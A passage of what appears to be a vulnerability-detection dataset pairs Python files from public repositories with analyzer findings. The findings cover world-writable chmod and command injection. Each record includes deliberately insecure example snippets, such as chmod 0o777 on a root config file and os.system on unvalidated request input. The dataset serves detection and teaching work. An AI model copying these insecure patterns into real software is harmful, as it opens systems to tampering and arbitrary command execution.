print(' -P X, --np=X\\tRun in parallel with X number of processes')\n    print(' -D X, --directory=X\\tWorking Data Directory')\n    print(' -Y X, --year=X\\tReduce files to years of interest')\n    print(' -C, --clobber\\t\\tOverwrite existing data in transfer')\n    print(' -M X, --mode=X\\t\\tPermission mode of directories and files\\n')\n\n#-- This is the main part of the program that calls the individual modules\ndef main():\n    #-- Read the system arguments listed after the program\n    long_options = ['help','np=','directory=','year=','clobber','mode=']\n    optlist,arglist = getopt.getopt(sys.argv[1:],'hP:D:Y:CM:',long_options)\n\n    #-- command line parameters\n    local_dir = os.getcwd()\n    #-- years to sync (default all)\n    YEARS = '\\d+'\n    #-- number of processes\n    PROCESSES = 1\n    CLOBBER = False\n    #-- permissions mode of the local directories and files (number in octal)\n    MODE = 0o775\n    for opt, arg in optlist:\n        if opt in ('-h','--help'):\n            usage()\n            sys.exit()\n        elif opt in (\"-D\",\"--directory\"):\n            local_dir = os.path.expanduser(arg)\n        elif opt in (\"-Y\",\"--year\"):\n            YEARS = '|'.join(arg.split(','))\n        elif opt in (\"-P\",\"--np\"):\n            PROCESSES = int(arg)\n        elif opt in (\"-C\",\"--clobber\"):\n            CLOBBER = True\n        elif opt in (\"-M\",\"--mode\"):\n            MODE = int(arg, 8)\n\n    #-- need to input a ftp path\n    if not arglist:\n        raise IOError('Need to input a path to the MAR ftp server')\n\n    #-- check internet connection\n    if check_connection():\n        #-- check if local directory exists and recursively create if not\n        os.makedirs(local_dir,MODE) if not os.path.exists(local_dir) else None\n\n        #-- connect and login to MAR ftp server\n        #-- get list of files to download\n        parsed_ftp = urlparse.urlparse(arglist[0])\n        ftp = ftplib.FTP(parsed_ftp.netloc)\n        ftp.login()\n        # find files and reduce to years of interest if specified\n        remote_files = sorted([f for f in ftp.nlst(parsed_ftp.path)\n            if re.search(YEARS,posixpath.basename(f))])\n        ftp.quit()\n\n        #-- run in parallel with multiprocessing Pool\n        pool = multiprocessing.Pool(processes=PROCESSES)\n        #-- download remote MAR files to local directory\n        for j,remote_file in enumerate(remote_files):\n            #-- extract filename\n            url,fi = posixpath.split(remote_file)\n            args = (parsed_ftp.netloc, remote_file, os.path.join(local_dir,fi),)\n            kwds = dict(CLOBBER=CLOBBER, MODE=MODE)\n            pool.apply_async(ftp_mar_data, args=args, kwds=kwds)\n        #-- start multiprocessing jobs\n        #-- close the pool\n        #-- prevents more tasks from being submitted to the pool\n        pool.close()\n        #-- exit the completed processes\n        pool.join()\n\n#-- run main program\nif __name__ == '__main__':\n    main()", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 95, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "96"}}, {"lineNo": 104, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "df239e7e8bf3fd2f36cfdac29a9d12d93beb3b9dfccd80725a74de299bae747b", "license": {"spdx": ["MIT"], "repo": "ExoWorldsSpies/hops", "path": "post_setup.py", "repo_head_hexsha": "a33e434befe17318c064210a289b453c6f91b44f", "stack_hexsha": "b1c52df1e5fb7a024b2c1224bff7be902516702c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 39, "entireCode": "\nimport os\nimport glob\nimport platform\nimport sys\nsys.path = sys.path[1:]\n\nfrom hops import __get_abspath__ as hops__get_abspath__\n\nname = 'hops'\n\nhere = os.path.abspath(os.path.dirname(__file__))\nshortcut = open(os.path.join(here, 'shortcut.txt')).read()\nshortcut = shortcut.replace('{{x}}', hops__get_abspath__())\n\n# create shortcut\nprint('\\n\\n************\\n')\n\nexecutable = {'Darwin': 'command', 'Linux': 'sh', 'Windows': 'cmd'}[platform.system()]\n\ntry:\n    shortcut_path = os.path.join(os.path.expanduser('~'), 'Desktop', name + '.' + executable)\n    w = open(shortcut_path, 'w')\n    w.write(shortcut)\n    w.close()\nexcept:\n    try:\n        shortcut_path = os.path.join(glob.glob(os.path.join(os.path.expanduser('~'), '*', 'Desktop'))[0], name + '.' + executable)\n        w = open(shortcut_path, 'w')\n        w.write(shortcut)\n        w.close()\n    except IndexError:\n        shortcut_path = os.path.join(os.path.expanduser('~'), name + '.' + executable)\n        w = open(shortcut_path, 'w')\n        w.write(shortcut)\n        w.close()\n\nif platform.system() == 'Darwin':\n    os.system('chmod 755 ' + shortcut_path)\nelif platform.system() == 'Linux':\n    os.system('chmod +x ' + shortcut_path)\n\n\nprint('HOPS successfully installed.')\nprint('The shortcut has been saved here:\\n\\n{0}\\n\\n'\n      'You can freely move this file to your preferred location.'.format(shortcut_path))", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "38"}}, {"lineNo": 39, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "c029bb6b9f45d2eaa5092d939f34999f7a975840a47c01ec14cf8664ec3497fc", "license": {"spdx": ["MIT"], "repo": "Ramin-RX7/RX7-Lib", "path": "Classes/Filex.py", "repo_head_hexsha": "28d2c4bc316b031bb05700c72e5119a7ff2d0ae7", "stack_hexsha": "2f663a1388c7fd371ab73b9a971e0941aa3ca3b1", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 147, "entireCode": "'''\nFilex Module is Sub-Module of rx7 library.\nIt contains 2 classes:  \n1- files: Static method\n2- File: create File object and use its methods.  \n(If you are using rx7 module, don't use this and directly use rx7.files and rx7.File)\n(Usually I use first one when I need a file only one time in my code  \nand use 2nd one when i'm working with a file more than 1 time.)\n\n'''\n\nimport os,shutil,subprocess\nfrom typing import Union\n\nclass files:\n    '''\n    (STATIC METHODS)\\n\n    Actions and information about files.\\n\n    (READ FUNCTIONS DOCSTRING)\n\n    GET INFORMATION:\n      - exists()\n      - size()\n      - abspath()\n      - mdftime()\n      - acstime()\n      - content (read function)()\n      - is file()\n      - is dir()\n      - is readonly()\n      - is hidden()\n\n    ACTIONS:\n      - remove()\n      - rename()\n      - move()\n      - copy()\n      - hide()\n      - read only()\n      - write()\n    '''\n    @staticmethod\n    def size(path):\n        '''\n        return size of the file in byte(s).\n        Also work on directories.\n        '''\n        return os.path.getsize(path)\n        #rooye pooshe emtehan she\n    @staticmethod\n    def remove(path,force=False):\n        '''\n        Use this to delete a file or a directory.\n        If force is True it will delete non-empty directories.\n        '''\n        if os.path.isfile(path):\n            os.remove(path)\n        else:\n            if force: \n                shutil.rmtree(path)\n            else:\n                try:\n                    os.rmdir(path)\n                except OSError:\n                    raise OSError(f\"[WinError 145] The directory is not empty: '{path}'\" + '\\n' + ' '*23 + \n                                   '(Use force=True as an argument of remove function to remove non-empty directories.)') from None\n    @staticmethod\n    def rename(old_name,new_name):\n        '''Rename files with this function.'''\n        os.rename(old_name,new_name)\n    @staticmethod\n    def abspath(path):\n        '''\n        return absolute path of given path.\n        '''\n        return os.path.abspath(path)\n    @staticmethod\n    def exists(path):\n        '''\n        Search for the file And Returns a boolean.\n        if file exists: True\n        else: False\n        '''\n        return os.path.exists(path)\n    @staticmethod\n    def mdftime(path):\n        '''\n        Get last modify time of the path.\n        '''\n        return os.path.getmtime(path)\n    @staticmethod\n    def acstime(path):    \n        '''\n        Get last access time of the path.\n        '''\n        return os.path.getatime(path)\n        # change to date bayad biad\n    @staticmethod\n    def move(src,dst):\n        '''\n        Move (cut) file/directory from crs to dst.\n        '''\n        shutil.move(src,dst)\n        #live_path= dst\n        #Baraye folder hast ya na?\n    @staticmethod\n    def copy(src,dest,preserve_metadata= True):\n        '''\n        Copy the file from src to destination.  \n        preserve_metadata is for preserving metadata of file when copying.\n        (You can use it instead of rename too.\n         e.g:\n            copy('D:\\\\Test.py','E:\\\\Ali.py')\n            (It copies Test.py to E drive and renames it to Ali.py)\n         )\n        '''\n        if files.isdir(src):\n            shutil.copytree(src,dest)\n        else:\n            if preserve_metadata: shutil.copy2(src,dest)\n            else: shutil.copy(src,dest)\n\n    @staticmethod\n    def hide(path,mode=True):\n        '''\n        Hide file or folder.\n        If mode==False: makes 'not hide'\n        (ONLY WINDOWS)\n        '''\n        try:\n            import win32api, win32con\n        except:\n            raise ImportError('Please install pywin32 via pip')\n        if mode:\n            win32api.SetFileAttributes(path,win32con.FILE_ATTRIBUTE_HIDDEN)\n        else:\n            win32api.SetFileAttributes(path,win32con.FILE_ATTRIBUTE_NORMAL)\n    @staticmethod\n    def read_only(path,mode=True):\n        '''\n        Make file attribute read_only.\n        If mode==False: makes 'not read_only'\n        '''\n        if type(mode)==bool:\n            from stat import S_IREAD,S_IWUSR\n            if mode==True:\n                os.chmod(path, S_IREAD)\n            elif mode==False:\n                os.chmod(path, S_IWUSR)\n        else:\n            raise Exception('Second argumant (mode) should be boolean.')\n    @staticmethod\n    def read(path):\n        '''\n        This can help you to read your file faster.\n        Example:\n            read('C:\\\\users\\\\Jack\\\\test.txt')\n            ==> \"Content of 'test.txt' will be shown.\"\n        '''\n        with open(path) as f:\n            FileR= f.read()\n        return FileR\n    @staticmethod\n    def write(file_path,text=None,mode='replace',start=''):\n        '''\n        With this method you can change content of the file.  \n        file:   File you want to change its content.\n        content:   Content you want to add to file.\n        mode:   Type of writing method.\n             'a' or 'continue' for add content to end of the file. \n             'w' or 'replace'  for overwriting to file content.\n        start: I use this when I use mode='continue'\n        '''  \n        if mode=='replace':\n            op= open(file_path,mode='w')\n            if text==None:\n                text= input('Type what you want.\\n\\n')\n            op.write(text)\n            op.close()\n        elif mode=='continue':\n            '''opr= open(file,mode='r')\n            FileR= opr.read()\n            op= open(file,mode='w')'''\n            op=open(file_path,'a')\n            if text==None:\n                text= input('Type what you want to add in the end of the file.\\n\\n')\n            op.write(start+text)\n            op.close() \n        else:\n            raise ValueError('mode can only be: replace(default) or continue Not \"{0}\"'.format(mode))\n    @staticmethod\n    def isdir(path):\n        return os.path.isdir(path)\n    @staticmethod\n    def isfile(path):\n        return os.path.isfile(path)\n    @staticmethod\n    def is_readonly(path):\n        '''\n        Return True if path is readonly else False.\n        (May Not Work in Linux)\n        '''\n        return subprocess.getoutput(f'dir /ar {path} >nul 2>nul && echo True || echo False')\n    @staticmethod\n    def is_hidden(path):\n        \"\"\"\n        Check whether a file is presumed hidden, either because\n        the pathname starts with dot or because the platform\n        indicates such.\n        Return True if File or Directory is hidden.\n        (Work on both Linux and Windows)\n        \"\"\"\n        import platform\n        full_path = os.path.abspath(path)\n        name = os.path.basename(full_path)\n        def no(path): return False\n        platform_hidden = globals().get('is_hidden_' + platform.system(), no)\n        return name.startswith('.') or platform_hidden(full_path)\n    @staticmethod\n    def is_hidden_Windows(path):\n        import ctypes\n        res = ctypes.windll.kernel32.GetFileAttributesW(path)\n        assert res != -1\n        return bool(res & 2)\n    @staticmethod\n    def search_file(pattern, path='.\\\\',return_mode: List['list','generator']= 'list'):\n        '''\n        Search for files in path.\n        Return list or generator.\n        pattern:\n        -  'x.py'  :    search for 'x.py' in path.\n        -  '*.py'  :    search for all files with .py extension in path.\n        -  '*.*'   :    search for all files in path\n        -  '**/*'  :    search for any file in path and also all sub-directories.\n        -  '**/*.py:    search for all python files in path and also sub-directories.\n        -  'mydir/**/*.py'   :    search for all python files in path/mydir/ and all of its sub-directories.\n        '''\n        import glob\n        if str(return_mode).lower() in ('list','generator'):\n            if return_mode=='list': return glob.glob(pattern, recursive=True)\n            else: return glob.iglob(pattern, recursive=True)\n        else:\n            if type(return_mode)==str:\n                raise ValueError(f\"return_mode van be  'list'  or  'generator'  not {return_mode}\")\n            else:\n                raise TypeError(f\"return_mode type should be str and it should be in ['list', 'generator']\")\n    @staticmethod\n    def search_content(path,word):\n        ALL= [val for sublist in [[os.path.join(i[0], j) for j in i[2]] for i in os.walk(path)] for val in sublist]\n        '''lst=[]\n        for file in ALL:\n            if word in rx.read(file):\n                lst.append(file)\n        return lst'''\n        return [file for file in ALL if word in open(file).read()]\n    @staticmethod\n    def mkdir(path):\n        path = os.path.normpath(path)\n        NEW= ''\n        for FILE in path.split('\\\\'):\n            NEW+= FILE+'\\\\'\n            try: os.mkdir(NEW)\n            except (FileExistsError,FileNotFoundError): pass\n    @staticmethod\n    def generate_tree(dir_path, level: int=-1, limit_to_directories: bool=False,\n            length_limit: int=1000, print_info: bool=True):\n        \"\"\"Given a directory Path object return a visual tree structure\"\"\"\n        from pathlib import Path\n        from itertools import islice\n        space= '    '; branch = '│   '; tee= '├── '; last= '└── '\n        dir_path = Path(dir_path) # accept string coerceable to Path\n        files = 0\n        directories = 0\n        def inner(dir_path: Path, prefix: str='', level=-1):\n            nonlocal files, directories\n            if not level:  return # 0, stop iterating\n            if limit_to_directories: contents = [d for d in dir_path.iterdir() if d.is_dir()]\n            else:  contents = list(dir_path.iterdir())\n            pointers = [tee] * (len(contents) - 1) + [last]\n            for pointer, path in zip(pointers, contents):\n                if path.is_dir():\n                    yield prefix + pointer + path.name\n                    directories += 1\n                    extension = branch if pointer == tee else space \n                    yield from inner(path, prefix=prefix+extension, level=level-1)\n                elif not limit_to_directories:\n                    yield prefix + pointer + path.name\n                    files += 1\n        RETURN=''\n        RETURN+=dir_path.name+'\\n'\n        iterator = inner(dir_path, level=level)\n        for line in islice(iterator, length_limit): RETURN+=line+'\\n'\n        if next(iterator, None): RETURN+=f'... length_limit, {length_limit}, reached, counted:'\n        if print_info: RETURN+=f'\\n{directories} directories' + (f', {files} files' if files else '')\n        return RETURN\n\n    class MEMBERS:\n        @staticmethod\n        def all_exactdir(dir):\n            return os.listdir(dir)\n        @staticmethod\n        def all_all_sep(dir):\n            return [i for i in os.walk(dir)]\n        @staticmethod\n        def files_exactdir(dir):\n            return [i for i in os.walk(dir)][0][2]\n        @staticmethod\n        def files_all(dir):\n            return [val for sublist in [[os.path.join(i[0], j) for j in i[2]] for i in os.walk(dir)] for val in sublist]\n        @staticmethod\n        def files_all_sep(dir):\n            return [[os.path.join(i[0], j) for j in i[2]] for i in os.walk(dir)]\n        @staticmethod\n        def dirs_exactdir(dir):\n            return sorted([i for i in os.listdir(dir) if i not in [i for i in os.walk(dir)][0][2]])\n        @staticmethod\n        def dirs_all(dir):\n            return [TPL[0] for TPL in [i for i in os.walk(dir)]]\n", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 146, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "146"}}, {"lineNo": 147, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "806d57c7f7a145b1e1c4e31c1738759640ee1ecdb9ebf90e5088f5c634c00921", "license": {"spdx": ["BSD-3-Clause"], "repo": "bomtuckle/pyrolite", "path": "pyrolite/util/general.py", "repo_head_hexsha": "c0af0ade14ff26b4e9fdd5a033b27e73df085c55", "stack_hexsha": "23d6a4141df0e16aef4fa66e6b4a9f6a0049f94e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 163, "entireCode": "import os\nimport re\nimport time\nimport shutil\nfrom tempfile import mkdtemp\nimport operator\nfrom collections.abc import Mapping\nfrom pathlib import Path\nimport datetime\nfrom .log import Handle\n\nlogger = Handle(__name__)\n\n_FLAG_FIRST = object()\n\n\nclass Timewith:\n    def __init__(self, name=\"\"):\n        \"\"\"Timewith context manager.\"\"\"\n        self.name = name\n        self.start = time.time()\n        self.checkpoints = []\n\n    @property\n    def elapsed(self):\n        return time.time() - self.start\n\n    def checkpoint(self, name=\"\"):\n        elapsed = self.elapsed\n        msg = \"{time} {timer}: {checkpoint} in {elapsed:.3f} s.\".format(\n            timer=self.name,\n            time=datetime.datetime.now().strftime(\"%H:%M:%S\"),\n            checkpoint=name,\n            elapsed=elapsed,\n        ).strip()\n        logger.info(msg)\n        self.checkpoints.append((name, elapsed))\n\n    def __enter__(self):\n        \"\"\"Object returned on entry.\"\"\"\n        return self\n\n    def __exit__(self, type, value, traceback):\n        \"\"\"Code to execute on exit.\"\"\"\n        self.checkpoint(\"Finished\")\n        self.checkpoints.append((\"Finished\", self.elapsed))\n\n\ndef temp_path(suffix=\"\"):\n    \"\"\"Return the path of a temporary directory.\"\"\"\n    directory = mkdtemp(suffix=suffix)\n    return Path(directory)\n\n\ndef flatten_dict(d, climb=False, safemode=False):\n    \"\"\"\n    Flattens a nested dictionary containing only string keys.\n\n    This will work for dictionaries which don't have two equivalent\n    keys at the same level. If you're worried about this, use safemode=True.\n\n    Partially taken from https://stackoverflow.com/a/6043835.\n\n    Parameters\n    ----------\n    climb: :class:`bool`, :code:`False`\n        Whether to keep trunk or leaf-values, for items with the same key.\n    safemode: :class:`bool`, :code:`True`\n        Whether to keep all keys as a tuple index, to avoid issues with\n        conflicts.\n\n    Returns\n    -------\n    :class:`dict`\n        Flattened dictionary.\n    \"\"\"\n    lift = lambda x: (x,)\n    join = operator.add\n    results = []\n\n    def visit(subdict, results, partialKey):\n        for k, v in subdict.items():\n            if partialKey == _FLAG_FIRST:\n                newKey = lift(k)\n            else:\n                newKey = join(partialKey, lift(k))\n            if isinstance(v, Mapping):\n                visit(v, results, newKey)\n            else:\n                results.append((newKey, v))\n\n    visit(d, results, _FLAG_FIRST)\n\n    if safemode:\n        pick_key = lambda keys: keys\n    else:\n        pick_key = lambda keys: keys[-1]\n\n    sort = map(\n        lambda x: x[:2],\n        sorted([(pick_key(k), v, len(k)) for k, v in results], key=lambda x: x[-1]),\n    )  # sorted by depth\n\n    if not climb:\n        # We go down the tree, and prioritise the trunk values\n        items = sort\n    else:\n        # We prioritise the leaf values\n        items = [i for i in sort][::-1]\n    return dict(items)\n\n\ndef swap_item(startlist: list, pull: object, push: object):\n    \"\"\"\n    Swap a specified item in a list for another.\n\n    Parameters\n    ----------\n    startlist : :class:`list`\n        List to replace item within.\n    pull\n        Item to replace in the list.\n    push\n        Item to add into the list.\n\n    Returns\n    -------\n    list\n    \"\"\"\n    return [[i, push][i == pull] for i in startlist]\n\n\ndef copy_file(src, dst, ext=None, permissions=None):\n    \"\"\"\n    Copy a file from one place to another.\n    Uses the full filepath including name.\n\n    Parameters\n    ----------\n    src : :class:`str` | :class:`pathlib.Path`\n        Source filepath.\n    dst : :class:`str` | :class:`pathlib.Path`\n        Destination filepath or directory.\n    ext : :class:`str`, :code:`None`\n        Optional file extension specification.\n    \"\"\"\n    src = Path(src)\n    dst = Path(dst)\n\n    if dst.is_dir():\n        dst = dst / src.name\n\n    if ext is not None:\n        src = src.with_suffix(ext)\n        dst = dst.with_suffix(ext)\n\n    logger.debug(\"Copying from {} to {}\".format(src, dst))\n    with open(str(src), \"rb\") as fin:\n        with open(str(dst), \"wb\") as fout:\n            shutil.copyfileobj(fin, fout)\n\n    if permissions is not None:\n        os.chmod(str(dst), permissions)\n\n\ndef remove_tempdir(directory):\n    \"\"\"\n    Remove a specific directory, contained files and sub-directories.\n\n    Parameters\n    ----------\n    directory: str, Path\n        Path to directory.\n    \"\"\"\n    directory = Path(directory)\n    try:\n        shutil.rmtree(str(directory))\n        assert not directory.exists()\n    except PermissionError:\n        pass", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 162, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "162"}}, {"lineNo": 163, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "b21267ace2f479c15aada83b7a32f47e380e7dca283e28c4b0c3e7245e2e889f", "license": {"spdx": ["Apache-2.0"], "repo": "richmattes/ament_tools", "path": "ament_tools/setup_arguments.py", "repo_head_hexsha": "2a25cdcc273fcd73e81e8a47fe892a0b5963307d", "stack_hexsha": "76fb80b4170accbe860db8c0999717d64544977e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 62, "entireCode": "# Copyright 2015 Open Source Robotics Foundation, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport ast\nimport distutils.core\nimport os\ntry:\n    import setuptools\nexcept ImportError:\n    pass\nimport subprocess\nimport sys\nfrom threading import Lock\n\nfrom ament_tools.build_type import get_command_prefix\nfrom ament_tools.helper import quote_shell_command\n\nsetup_lock = None\n\n\ndef get_setup_arguments_with_context(build_type, context):\n    \"\"\"\n    Capture the arguments of the setup() function in the setup.py file.\n\n    To provide a custom environment when introspecting the setup() function\n    a separate Python interpreter is being used which can have an extended\n    PYTHONPATH etc.\n\n    :param build_type: the build type\n    :param context: the context\n    :type context: :py:class:`ament_tools.context.Context`\n    :returns: a dictionary containing the arguments of the setup() function\n    \"\"\"\n    prefix = get_command_prefix(\n        '%s__setup' % build_type, context.build_space,\n        context.build_dependencies)\n    ament_tools_path = os.path.dirname(os.path.dirname(__file__))\n    setuppy = os.path.join(context.source_space, 'setup.py')\n    if os.name == 'nt':\n        ament_tools_path = ament_tools_path.replace(os.sep, os.altsep)\n        setuppy = setuppy.replace(os.sep, os.altsep)\n    code_lines = [\n        'import sys',\n        \"sys.path.insert(0, '%s')\" % ament_tools_path,\n        'from ament_tools.setup_arguments import get_setup_arguments',\n        \"print(repr(get_setup_arguments('%s')))\" % setuppy]\n\n    # invoke get_setup_arguments() in a separate interpreter\n    cmd = prefix + [sys.executable, '-c', ';'.join(code_lines)]\n    cmd = quote_shell_command(cmd)\n    result = subprocess.run(\n        cmd, stdout=subprocess.PIPE, shell=True, check=True)\n    output = result.stdout.decode()\n\n    return ast.literal_eval(output)\n\n\ndef get_setup_arguments(setup_py_path):\n    \"\"\"\n    Capture the arguments of the setup() function in the setup.py file.\n\n    The function is being run within the current Python interpreter.\n    Therefore the processed setup.py file can not have any additional\n    dependencies not available in the current environment.\n\n    :param setup_py_path: the path to the setup.py file\n    :returns: a dictionary containing the arguments of the setup() function\n    \"\"\"\n    global setup_lock\n    if not setup_lock:\n        setup_lock = Lock()\n    assert os.path.basename(setup_py_path) == 'setup.py'\n    # prevent side effects in other threads\n    with setup_lock:\n        # change to the directory containing the setup.py file\n        old_cwd = os.getcwd()\n        os.chdir(os.path.dirname(os.path.abspath(setup_py_path)))\n        try:\n            data = {}\n            mock_setup = create_mock_setup_function(data)\n            # replace setup() function of distutils and setuptools\n            # in order to capture its arguments\n            try:\n                distutils_setup = distutils.core.setup\n                distutils.core.setup = mock_setup\n                try:\n                    setuptools_setup = setuptools.setup\n                    setuptools.setup = mock_setup\n                except NameError:\n                    pass\n                # evaluate the setup.py file\n                with open('setup.py', 'r') as h:\n                    exec(h.read())\n            finally:\n                distutils.core.setup = distutils_setup\n                try:\n                    setuptools.setup = setuptools_setup\n                except NameError:\n                    pass\n            return data\n\n        finally:\n            os.chdir(old_cwd)\n\n\ndef create_mock_setup_function(data):\n    \"\"\"\n    Create a mock function to capture its arguments.\n\n    It can replace either distutils.core.setup or setuptools.setup.\n\n    :param data: a dictionary which is updated with the captured arguments\n    :returns: a function to replace disutils.core.setup and setuptools.setup\n    \"\"\"\n    def setup(*args, **kwargs):\n        if args:\n            raise RuntimeError(\n                'setup() function invoked with positional arguments')\n\n        if 'name' not in kwargs:\n            raise RuntimeError(\n                \"setup() function invoked without the keyword argument 'name'\")\n\n        data.update(kwargs)\n\n    return setup\n\n\ndef get_data_files_mapping(data_files):\n    \"\"\"\n    Transform the data_files structure into a dictionary.\n\n    :param data_files: either a list of source files or\n      a list of tuples where the first element is the destination path and\n      the second element is a list of source files\n    :returns: a dictionary mapping the source file to a destination file\n    \"\"\"\n    mapping = {}\n    for data_file in data_files:\n        if isinstance(data_file, tuple):\n            assert len(data_file) == 2\n            dest = data_file[0]\n            assert not os.path.isabs(dest)\n            sources = data_file[1]\n            assert isinstance(sources, list)\n            for source in sources:\n                assert not os.path.isabs(source)\n                mapping[source] = os.path.join(dest, os.path.basename(source))\n        else:\n            assert not os.path.isabs(data_file)\n            mapping[data_file] = os.path.basename(data_file)\n    return mapping", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 62, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
